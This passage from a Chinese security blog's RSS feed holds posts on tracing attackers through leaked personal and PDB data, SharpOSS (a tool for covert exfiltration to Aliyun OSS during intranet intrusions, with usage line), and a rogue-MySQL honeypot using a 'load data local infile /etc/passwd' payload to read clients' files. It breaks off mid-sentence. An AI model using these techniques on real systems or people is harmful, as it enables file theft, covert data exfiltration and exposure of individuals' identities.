src="https://wechat2rss.xlab.app/img-proxy/?k=c929eb71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGF3q1jFQmUb8WIR8iaj2RQO4kxGJznHtv9CBcVdemjUL2kJZAUIkEbnQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">这个懂得都懂，偶有额外的站点能查到能过信息，比如顺藤摸瓜找到的微博，搞IT总是把自己的个人介绍弄的特别详细。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">例：几周前，通过一些信息，顺藤摸瓜通过QQ找到了注册微博了，通过找到微博，看到了某目标的人生履历。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6190089358245329" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1231" src="https://wechat2rss.xlab.app/img-proxy/?k=6cbc80cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGX3QicYzvzkrcrK3IBic4KFapeNqwYyftrHC6yVepL0zIanMGaHmIbR7g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">微博信息：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6533687943262412" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=aa67abda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGFqRQHKecY4y9dib9rU7TbK7Vm3OSicW0vEAXADAYZGPgW3tLxO8cYjTQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">这个REG007还有一些思路，下面还有个例子会再介绍。</p><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">6.程序PDB信息泄露</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">场景有很多，比如拦截捕获到了木马样本，比如shellcode loader，通过自己编译生成的这种程序，如果生成了调试信息，没有勾选否，那么就可能会造成PDB信息泄露。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5434969853574505" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1161" src="https://wechat2rss.xlab.app/img-proxy/?k=bfbc3301&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGGkzmxryOlnPpvic3mGCNYGkUGLdkzXIAtqArH6wsp4ib6IrWicrl6qvrg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">例：前面某期间，抓到的木马样本，通过C32看到程序尾部的信息，找到了生成木马的主机用户名，通常情况下很多黑客都喜欢用自己的ID作为主机用户名，跟同事通过Twitter看到另外的大佬也捕获到了这个马子，推断是国外黑客，虽然最终没有准确溯源到人，但是这个是一种溯源的思路。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">通过C32分析，看到尾部的信息，找到mr.anderson这个ID。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4008733624454148" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1145" src="https://wechat2rss.xlab.app/img-proxy/?k=db2efd27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGDnaia81QKIdA4ooeCbiaXskicFicPd8goUqHHjBHBicWdnUIA239DQKNC9w%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5093780848963475" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1013" src="https://wechat2rss.xlab.app/img-proxy/?k=8e8ea09d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGiaqDwh1yOjVVSO0s7c9hgooic02KQaPqICSdUOiarJCoiaKruIeTGxE7nw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">通过找Twitter，发现这个，倒真是巧合，看来这个anderson搞了很多钓鱼邮件，怀疑是国外黑客。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);"><a href="https://twitter.com/L0x3rh4u/status/1298517307468128260" target="_blank">https://twitter.com/L0x3rh4u/status/1298517307468128260</a></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3254608294930876" style="margin-right: auto;margin-left: auto;width: 100%;border-radius: 5px;margin-bottom: 15px;" data-type="png" data-w="1736" src="https://wechat2rss.xlab.app/img-proxy/?k=27c61517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdq6ibBer61KQP1J1xyd9AiaGFicPGnsKEyNkb1icMKRL2Rc2Bic38yy1iazibAVMTXkelbD8xf5XvagichGA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #dda52d;font-size: 14px;"><br/></figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 20px;line-height: 1.4;padding-top: 10px;margin-top: 10px;margin-bottom: 5px;"><span style="display: none;"></span><span style="color: rgb(81, 81, 81);font-size: 1em;padding-left: 20px;border-left: 3px solid rgb(249, 191, 69);">7.在线挖洞</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">最后这个技巧有风险，可以结合点挖洞的思路，但是未授权所以风险太高了，最后不了了之。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">例：</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">某期间，通过REG007找到了目标的注册域名手机号，发现注册了一个XX简历网站，是修改简历的，需要上传简历，然后简单用手机号注册了下，发现收到了四位验证码。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">又去测了下找回密码，发现也是收到了四位验证码，用burp跑了下自己的账号，直接重置了密码，但是因为防守方的局限性，再加上未授权，所以就没有尝试别人的账号。延伸下思路，对抗的思路，主动出击的防守方，如果规则允许的话，那么可能也是不错的溯源思路？</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;background-image: linear-gradient(rgb(255, 255, 255) 60%, rgb(255, 177, 27) 40%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;color: rgb(81, 81, 81);padding: 2px 13px;margin-right: 3px;height: 50%;">0x02 总结</span></h2><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">这次其实负责了蛮多的活儿，研判、溯源都参与了。感觉溯源就是结合攻击者来路暴露的信息，加上一些判断，去分析信息的真实性，一步一步构建出攻击者的人物画像，像手机号、邮箱这种直接能找到很多注册业务的信息，总能收集到一些东西，最后总结报告提交完事。</p><p data-tool="mdnice编辑器" style="margin-bottom: 20px;line-height: 1.8em;color: rgb(58, 58, 58);">如果有什么问题欢迎与笔者交流，或者在公众号留言！</p></section><p><br/></p>



<p><a href="http://aiyuanzhen.com/index.php/archives/309/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a353f366&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484640%26idx%3D1%26sn%3D4d8b3eb0c72aebca7de27fc5d048b526%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 10 Oct 2020 18:07:00 +0800</pubDate>
    </item>
    <item>
      <title>SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484619&amp;idx=1&amp;sn=e3590b11efd6d3bad25be78825e7622c</link>
      <description>SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传</description>
      <content:encoded><![CDATA[<p>
<span>Uknow</span> <span>2020-10-04 18:31</span> <span style="display: inline-block;"></span>
</p>

<p>SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fd561a96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcQLribdT2msnsHABCn9U6yqlD7V62dxjvNMfBuNv0oPeQkvBp1lYOkUFhicXg59hpYypibEiaPqnwz9g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">内网需求</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">“内网渗透的本质是信息收集”,常常会收集到一些体积较大的文件或者是源码进行分析利用。而网络情况复杂的情况下，通过菜刀一类webshell管理工具或CS一类C2工具来进行传输文件是非常慢的，所以经常会用到AliyunOSS来进行快速文件传输。同时<span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;">aliyunOSS是白域名，比cs传输文件更为隐秘</span><span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;">。</span>就看了一下aliyun-oss-csharp-sdk实现了这个功能。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Usage</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">建议可内存加载，尽量用cs的execute-assembly内存加载，做到尽可能的不落地。</p><pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&gt;</span> SharpOSS.exe</span></code><code><span class="code-snippet_outer">Author: Uknow</span></code><code><span class="code-snippet_outer">Github: <a href="https://github.com/uknowsec/SharpOSS" target="_blank">https://github.com/uknowsec/SharpOSS</a></span></code><code><span class="code-snippet_outer">Usage:  SharpOSS.exe bucketName accessKeyId accessKeySecret endpoint UploadFilePath</span></code></pre></section></pre><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">github</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/uknowsec/SharpOSS" target="_blank">https://github.com/uknowsec/SharpOSS</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">代码仅放出了主要部分，需要引用aliyun-oss-csharp-sdk。有兴趣的自行反编译exe。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">关注公众号回复 <span style="color: rgb(0, 128, 255);">SharpOSS <span style="color: rgb(74, 74, 74);font-size: 15px;text-align: start;white-space: pre-line;">可直接获取下载地址。</span></span></p><p><br/></p>



<p><a href="2247484619">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4b140fb6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484619%26idx%3D1%26sn%3De3590b11efd6d3bad25be78825e7622c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 04 Oct 2020 18:31:00 +0800</pubDate>
    </item>
    <item>
      <title>MySQL蜜罐获取攻击者微信ID</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484614&amp;idx=1&amp;sn=a719aaad15112d4ec26ab3f3c89cadc5</link>
      <description>前言&#x9;前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了</description>
      <content:encoded><![CDATA[<p>
原创 <span>归零</span> <span>2020-08-26 17:57</span> <span style="display: inline-block;"></span>
</p>

<p>前言	前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=13b66bb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUldnuFkIEoS8eVvfE3Pm646Fwu4Krf93mFCznoUA0XoaYMO4UXV7nqg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">前言</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	前些日子有人问到我溯源反制方面的问题，我就想到了MySQL任意文件读取这个洞，假设你在内网发现或扫到了一些MySQL的弱口令，你会去连吗？</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">原理</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	MySQL中 <code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">load data local infile &#39;/etc/passwd&#39; into table test fields terminated by &#39;\n&#39;;</code> 语句可以读取客户端本地文件并插进表中，那么我们可以伪造一个恶意的服务器，向连接服务器的客户端发送读取文件的payload。这个技术并不新鲜，但是合理利用就能起到一些不错的成果。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">利用</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	抓个包看看连MySQL时客户端和服务端通信的两个关键点：</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	服务端先返回了版本、salt等信息：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.565625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6f4158bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUQrk3K3ic1BeAiafWAA271kgNf0QJ3CbvQe0I4KKHh7OVvGPzvNqic5oJQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><br/><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	客户端向服务端发送账号密码信息后，服务端返回了认证成功的包：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.46328125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8430b12d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwU67XjyVryzvib6mtkqJR1JAYBh1lWaczkI8yicQszXIRzQChCrcSM1zuQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	至此，我们只需等待客户端再发一个包，我们就能发送读取文件的payload了，再看看读取文件这个包：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.45390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=aa002943&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUn2LtkG3HKTuYA9TflO9ib4G1DvMzYKoibHV2EIiardbfnOe28lxRcm0xg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	这里000001是指数据包的序号，fb是指包的类型，最后一个框是指要读取的文件名，而最前面的14是指文件名的长度（从fb开始，16进制），所以payload则是<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">chr(len(filename) + 1) + &#34;\x00\x00\x01\xFB&#34; + filename</code></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	在能够实现任意文件读取的情况下，我们最希望的就是能读到与攻击者相关的信息。日常生活中，大家几乎都会使用微信，而如果攻击者没有做到办公—渗透环境分离的话，我们就有希望获取到攻击者的微信ID</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	Windows下，微信默认的配置文件放在<code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 